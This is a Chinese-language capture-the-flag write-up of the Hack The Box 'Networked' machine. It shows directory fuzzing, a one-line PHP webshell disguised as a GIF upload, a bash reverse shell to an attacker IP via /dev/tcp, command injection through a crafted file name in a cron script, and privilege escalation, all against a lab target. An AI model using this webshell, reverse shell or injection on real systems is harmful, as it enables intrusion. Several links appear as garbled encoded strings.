偶然从其他公众号接触到了Hack the box ,从此就把它当作了渗透的学习模板
Networked是我的第一个靶场,虽然是easy的级别,但对于小白的我来说,包括工具,shell命令都是当时第一次接触,所以故写出这篇writeup,技术很菜,轻喷
靶场ip:10.10.10.146
攻击机ip:10.10.14.15

从80端口入手查看其web页面,右键查看源码也未找到有用的信息

直接使用gobuster去fuzz目录
gobuster dir -u f0eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4x3q4)9J5k6e0p5@1y4R3`.`. -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php

访问photos.php和uoload.php


尝试使用文件上传,编写webshell,修改后缀名为.gif
<?php system($_GET['PleaseSubscribe']); ?>
使用Burp抓包

访问其他目录寻找突破口
10.10.10.146/backup (该目录同样为gobuster fuzz出来的)

卧槽,好像直接找到了网站源码
快速筛选php代码,筛选文件中所有包含$的行(凡是$作为前缀的变量,均为php的超级变量,即内置对象)

查找submit对应的地方
/submit
通过submit 找到函数 check_file_type函数,源于文件lib.php

函数 file_mime_type()函数进行文件检查 (通过文件标示进行检查,部分文件仅查询标示头)

万事俱备,把标示头和shell组合扔上去就好了

接下来就是通过photos.php访问我们上传的资源
598K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4x3q4)9J5k6e0p5@1y4W2)9J5c8Y4g2H3L8r3!0S2k6s2y4Q4x3V1j5I4x3q4)9#2k6U0p5H3i4K6g2X3x3e0c8Q4y4h3j5I4y4g2)9J5k6i4m8Z5M7q4)9J5k6h3N6A6k6R3`.`. 获取资源所在路径
(以GET方式传递参数)
关于使用的bash shell
(指令详解)
cfaK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8V1q4#2N6i4g2#2N6i4g2#2N6g2)9J5c8X3q4J5N6r3W2U0L8r3g2Q4x3V1k6V1k6i4c8S2K9h3I4K6i4K6u0r3z5o6V1H3y4e0V1I4y4K6j5`.
(= bash i > /dev/tcp/10.10.14.15/9001 和 bash i < /dev/tcp/10.10.14.15/9001 结合)
使用bash 命令行
-i 采用交互式
">"重定向输出到 指定位置
/dev/tcp/10.10.14.15/9001 ip地址
0>&1 重定向输入
随后在参数中使用url编码 ctrl + u ,本地监听9001端口,getshell
以上为getshell的第一阶段
升级shell
参考文章:024K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3f1@1K9r3!0#2i4K6u0W2j5$3!0E0i4K6u0r3N6r3g2U0K9r3&6G2L8r3!0Y4P5g2)9J5c8U0j5J5y4o6S2Q4x3X3g2Z5N6r3#2D9
nc反弹的shell很容易中断连接,并且没有正确的tty(终端)与之对应
· 一些命令,像su和ssh要求一个正确的终端运行
· 通常不显示STDERR
· 无法正确使用文本编辑器 vim
· 没有标签完成
· 没有向上的箭头历史
· 没有工作控制
· 等等...
所以我们利用以下指令绑定终端升级shell
生成一个进程,并将其控制终端与当前进程的标准io连接(生成一个控制终端,使其io与当前进程连接)
ctrl+z 挂起当前进程
设置终端tty为RAW模式
RAW模式简单说就是发送端发送的二进制码原封不动的被接收端接收
2c3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0f1I4N6r3g2K6N6r3W2F1k6#2)9J5k6h3y4G2L8g2)9J5c8X3S2@1L8h3I4Q4x3V1j5H3x3#2)9J5c8X3&6Q4x3X3b7K6y4K6p5@1y4U0l9K6i4K6u0W2K9s2c8E0L8l9`.`. (Raw模式简介)
此时我们的输入是没有回显的
输入 fg
指令解析36bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3K9X3W2S2L8X3N6*7K9r3q4G2N6$3g2A6i4K6u0r3M7q4)9J5c8U0R3&6y4K6p5J5y4U0g2Q4x3X3g2Z5N6r3#2D9

cat crontab.guly
每3分钟启动一次check_attck.php
查看check_attck.php源码
根据我们上传的文件在uploads目录下的文件名10_10_16_83.php.png
getnameCheck函数返回访问ip地址和后缀
如上源码,如果check_ip返回的数组中 第一个参数为false,就会删除目标文件,具体查看check_ip函数具体内容
我们通过创建一个 shell 文件名 从而通过check_attack.php中的exec反弹shell
本机监听4444端口

同理 升级shell(和上面一样 此处省略)
此处就可以拿到guly用户的flag
以上部分为第二阶段

执行这个脚本 会将内容填充到ifcfg-guly这个文件中
通过 末尾 $var=$x 变量x我们可以控制 从而进行提权

至此整个过程结束
这是自己当时接触的第一个靶场,很多东西都不会,40分钟的视频自己研究了一个礼拜,感觉可能会对其他新手有些帮助!
[培训]科锐逆向工程师培训第53期2025年7月8日开班!